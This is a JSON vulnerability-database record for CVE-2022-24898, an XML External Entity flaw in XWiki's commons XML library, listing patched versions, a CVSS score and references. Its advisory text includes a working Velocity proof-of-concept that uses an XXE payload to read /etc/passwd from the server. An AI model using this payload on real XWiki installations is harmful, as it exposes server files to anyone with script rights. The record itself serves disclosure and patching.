{"id":"CVE-2022-24898","aliases":["GHSA-m2r5-4w96-qxg5"],"url":"https://o3.security/vulnerability/CVE-2022-24898","summary":"Arbitrary file access through XML parsing in org.xwiki.commons:xwiki-commons-xml","details":"### Impact\n\nIt's possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service.\n\nFor example:\n\n```\n{{velocity}}\n#set($xml=$services.get('xml'))\n#set($xxe_payload = \"<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root><foo>&xxe;</foo></root>\")\n#set($doc=$xml.parse($xxe_payload))\n$xml.serialize($doc)\n{{/velocity}}\n```\n\n### Patches\n\nThe problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1.\n\n### Workarounds\n\nThere's no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-18946\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [XWiki Security mailing-list](mailto:security@xwiki.org)","published":"2022-04-28T19:35:10Z","modified":"2026-10-28T10:25:47.634363120Z","cvss":{"score":4.9,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"Maven","name":"org.xwiki.commons:xwiki-commons-xml","fixedVersion":"12.10.10"},{"ecosystem":"Maven","name":"org.xwiki.commons:xwiki-commons-xml","fixedVersion":"13.4.4"},{"ecosystem":"Maven","name":"org.xwiki.commons:xwiki-commons-xml","fixedVersion":"13.8-rc-1"}],"fix":{"url":"https://github.com/xwiki/xwiki-commons/commit/947e8921ebd95462d5a7928f397dd1b64f77c7d5","label":"xwiki/xwiki-commons@947e892"},"references":[{"type":"WEB","url":"https://jira.xwiki.org/browse/XWIKI-18946"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/24xxx/CVE-2022-24898.json"},{"type":"ADVISORY","url":"https://github.com/xwiki/xwiki-commons/security/advisories/GHSA-m2r5-4w96-qxg5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-24898"},{"type":"FIX","url":"https://github.com/xwiki/xwiki-commons/commit/947e8921ebd95462d5a7928f397dd1b64f77c7d5"},{"type":"PACKAGE","url":"https://github.com/xwiki/xwiki-commons"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T10:25:47.634363120Z"}}